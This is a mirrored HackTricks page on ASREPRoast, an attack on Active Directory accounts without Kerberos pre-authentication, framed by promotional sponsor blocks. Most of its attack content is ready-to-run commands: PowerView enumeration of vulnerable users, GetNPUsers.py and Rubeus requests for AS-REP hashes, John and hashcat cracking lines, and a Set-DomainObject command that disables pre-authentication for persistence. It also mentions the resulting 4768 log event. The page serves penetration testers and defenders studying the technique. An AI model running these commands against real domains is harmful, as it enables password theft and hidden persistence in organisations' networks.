mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
86 lines
4.6 KiB
Markdown
86 lines
4.6 KiB
Markdown
# ASREPRoast
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
## ASREPRoast
|
|
|
|
The ASREPRoast attack looks for **users without Kerberos pre-authentication required attribute (**[_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**)**_.
|
|
|
|
That means that anyone can send an AS\_REQ request to the DC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
|
|
|
|
Furthermore, **no domain account is needed to perform this attack**, only connection to the DC. However, **with a domain account**, a LDAP query can be used to **retrieve users without Kerberos pre-authentication** in the domain. **Otherwise usernames have to be guessed**.
|
|
|
|
#### Enumerating vulnerable users (need domain credentials)
|
|
|
|
```bash
|
|
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
|
|
```
|
|
|
|
#### Request AS\_REP message
|
|
|
|
{% code title="Using Linux" %}
|
|
```bash
|
|
#Try all the usernames in usernames.txt
|
|
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
|
|
#Use domain creds to extract targets and target them
|
|
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
|
|
```
|
|
{% endcode %}
|
|
|
|
{% code title="Using Windows" %}
|
|
```bash
|
|
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
|
|
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="warning" %}
|
|
AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0.
|
|
{% endhint %}
|
|
|
|
### Cracking
|
|
|
|
```
|
|
john --wordlist=passwords_kerb.txt hashes.asreproast
|
|
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
|
```
|
|
|
|
### Persistence
|
|
|
|
Force **preauth** not required for a user where you have **GenericAll** permissions (or permissions to write properties):
|
|
|
|
```bash
|
|
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
|
|
```
|
|
|
|
[**More information about AS-RRP Roasting in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|